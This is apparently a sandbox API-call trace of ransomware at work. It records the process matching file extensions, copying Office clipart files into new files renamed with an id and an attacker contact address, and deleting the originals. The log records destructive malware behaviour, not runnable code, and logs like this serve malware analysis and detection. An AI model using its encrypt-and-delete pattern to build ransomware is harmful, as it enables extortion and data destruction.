	[0198.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.911] lstrlenW (lpString=".7z") returned 3
	[0198.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.911] lstrlenW (lpString=".dbf") returned 4
	[0198.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.911] lstrlenW (lpString=".1cd") returned 4
	[0198.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0198.912] lstrlenW (lpString=".jpg") returned 4
	[0198.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.912] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.912] lstrlenW (lpString="J0107526.WMF") returned 12
	[0198.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.914] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=7948) returned 1
	[0198.914] CloseHandle (hObject=0x510) returned 1
	[0198.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 0x220
	[0198.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.915] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.915] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.916] GetLastError () returned 0x0
	[0198.916] ReadFile (in: hFile=0x510, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1f0c, lpOverlapped=0x0) returned 1
	[0198.918] WriteFile (in: hFile=0x460, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1f10, lpOverlapped=0x0) returned 1
	[0198.919] ReadFile (in: hFile=0x510, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.919] WriteFile (in: hFile=0x460, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.919] SetEndOfFile (hFile=0x460) returned 1
	[0198.919] CloseHandle (hObject=0x460) returned 1
	[0198.919] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.919] SetEndOfFile (hFile=0x510) returned 1
	[0199.137] CloseHandle (hObject=0x510) returned 1
	[0199.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1
	[0199.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.504] lstrlenW (lpString=".doc") returned 4
	[0199.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.504] lstrlenW (lpString=".docx") returned 5
	[0199.504] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0199.504] lstrlenW (lpString=".pdf") returned 4
	[0199.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.504] lstrlenW (lpString=".xls") returned 4
	[0199.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.504] lstrlenW (lpString=".xlsx") returned 5
	[0199.505] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0199.505] lstrlenW (lpString=".ppt") returned 4
	[0199.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.505] lstrlenW (lpString=".zip") returned 4
	[0199.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.505] lstrlenW (lpString=".rar") returned 4
	[0199.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.505] lstrlenW (lpString=".bz2") returned 4
	[0199.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.505] lstrlenW (lpString=".7z") returned 3
	[0199.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.505] lstrlenW (lpString=".dbf") returned 4
	[0199.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.505] lstrlenW (lpString=".1cd") returned 4
	[0199.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.505] lstrlenW (lpString=".jpg") returned 4
	[0199.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.505] lstrlenW (lpString=".doc") returned 4
	[0199.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.505] lstrlenW (lpString=".docx") returned 5
	[0199.505] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0199.505] lstrlenW (lpString=".pdf") returned 4
	[0199.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.505] lstrlenW (lpString=".xls") returned 4
	[0199.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.506] lstrlenW (lpString=".xlsx") returned 5
	[0199.506] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0199.506] lstrlenW (lpString=".ppt") returned 4
	[0199.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.506] lstrlenW (lpString=".zip") returned 4
	[0199.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.506] lstrlenW (lpString=".rar") returned 4
	[0199.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.506] lstrlenW (lpString=".bz2") returned 4
	[0199.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.506] lstrlenW (lpString=".7z") returned 3
	[0199.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.506] lstrlenW (lpString=".dbf") returned 4
	[0199.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.506] lstrlenW (lpString=".1cd") returned 4
	[0199.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0199.506] lstrlenW (lpString=".jpg") returned 4
	[0199.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.506] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0199.506] lstrlenW (lpString="J0136865.WMF") returned 12
	[0199.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0199.508] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=16710) returned 1
	[0199.508] CloseHandle (hObject=0x538) returned 1
	[0199.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220
	[0199.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0199.509] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.509] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0199.510] GetLastError () returned 0x0
	[0199.510] ReadFile (in: hFile=0x538, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x4146, lpOverlapped=0x0) returned 1
	[0199.512] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x4150, lpOverlapped=0x0) returned 1
	[0199.514] ReadFile (in: hFile=0x538, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.514] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.514] SetEndOfFile (hFile=0x590) returned 1
	[0199.514] CloseHandle (hObject=0x590) returned 1
	[0199.514] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.514] SetEndOfFile (hFile=0x538) returned 1
	[0199.517] CloseHandle (hObject=0x538) returned 1
	[0199.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1
	[0199.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.518] lstrlenW (lpString=".doc") returned 4
	[0199.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.518] lstrlenW (lpString=".docx") returned 5
	[0199.518] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0199.518] lstrlenW (lpString=".pdf") returned 4
	[0199.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.518] lstrlenW (lpString=".xls") returned 4
	[0199.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.518] lstrlenW (lpString=".xlsx") returned 5
	[0199.518] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0199.518] lstrlenW (lpString=".ppt") returned 4
	[0199.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.519] lstrlenW (lpString=".zip") returned 4
	[0199.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.519] lstrlenW (lpString=".rar") returned 4
	[0199.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.519] lstrlenW (lpString=".bz2") returned 4
	[0199.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.519] lstrlenW (lpString=".7z") returned 3
	[0199.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.519] lstrlenW (lpString=".dbf") returned 4
	[0199.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.519] lstrlenW (lpString=".1cd") returned 4
	[0199.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.519] lstrlenW (lpString=".jpg") returned 4
	[0199.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.519] lstrlenW (lpString=".doc") returned 4
	[0199.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0199.519] lstrlenW (lpString=".docx") returned 5
	[0199.519] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0199.519] lstrlenW (lpString=".pdf") returned 4
	[0199.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0199.519] lstrlenW (lpString=".xls") returned 4
	[0199.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0199.519] lstrlenW (lpString=".xlsx") returned 5
	[0199.519] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0199.520] lstrlenW (lpString=".ppt") returned 4
	[0199.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0199.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.520] lstrlenW (lpString=".zip") returned 4
	[0199.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0199.520] lstrlenW (lpString=".rar") returned 4
	[0199.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0199.520] lstrlenW (lpString=".bz2") returned 4
	[0199.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0199.520] lstrlenW (lpString=".7z") returned 3
	[0199.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0199.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.520] lstrlenW (lpString=".dbf") returned 4
	[0199.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0199.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.520] lstrlenW (lpString=".1cd") returned 4
	[0199.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0199.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68
	[0199.520] lstrlenW (lpString=".jpg") returned 4
	[0199.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0199.520] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0199.520] lstrlenW (lpString="J0144773.JPG") returned 12
	[0199.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0199.522] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=40231) returned 1
	[0199.522] CloseHandle (hObject=0x538) returned 1
	[0199.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 0x220
	[0199.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0199.523] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.523] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0199.523] GetLastError () returned 0x0
	[0199.524] ReadFile (in: hFile=0x538, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x9d27, lpOverlapped=0x0) returned 1
	[0199.527] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x9d30, lpOverlapped=0x0) returned 1
	[0199.528] ReadFile (in: hFile=0x538, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.528] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0199.529] SetEndOfFile (hFile=0x590) returned 1
	[0199.529] CloseHandle (hObject=0x590) returned 1
	[0199.529] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.529] SetEndOfFile (hFile=0x538) returned 1
	[0199.532] CloseHandle (hObject=0x538) returned 1
	[0199.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1
	[0199.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.534] lstrlenW (lpString=".doc") returned 4
	[0199.534] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0199.534] lstrlenW (lpString=".docx") returned 5
	[0199.534] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0199.534] lstrlenW (lpString=".pdf") returned 4
	[0199.534] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0199.534] lstrlenW (lpString=".xls") returned 4
	[0199.534] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0199.534] lstrlenW (lpString=".xlsx") returned 5
	[0199.534] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0199.534] lstrlenW (lpString=".ppt") returned 4
	[0199.534] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0199.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.534] lstrlenW (lpString=".zip") returned 4
	[0199.534] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0199.534] lstrlenW (lpString=".rar") returned 4
	[0199.534] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0199.534] lstrlenW (lpString=".bz2") returned 4
	[0199.534] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0199.534] lstrlenW (lpString=".7z") returned 3
	[0199.535] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.535] lstrlenW (lpString=".dbf") returned 4
	[0199.535] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.535] lstrlenW (lpString=".1cd") returned 4
	[0199.535] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.535] lstrlenW (lpString=".jpg") returned 4
	[0199.535] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.535] lstrlenW (lpString=".doc") returned 4
	[0199.535] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0199.535] lstrlenW (lpString=".docx") returned 5
	[0199.535] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1
	[0199.535] lstrlenW (lpString=".pdf") returned 4
	[0199.535] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0199.535] lstrlenW (lpString=".xls") returned 4
	[0199.535] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0199.535] lstrlenW (lpString=".xlsx") returned 5
	[0199.535] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1
	[0199.535] lstrlenW (lpString=".ppt") returned 4
	[0199.535] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0199.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68
	[0199.535] lstrlenW (lpString=".zip") returned 4
	[0199.535] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0199.535] lstrlenW (lpString=".rar") returned 4
	[0199.535] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0199.536] lstrlenW (lpString=".bz2") returned 4
	[0199.536] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0199.536] lstrlenW (lpString=".7z") returned 3
	[0199.536] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
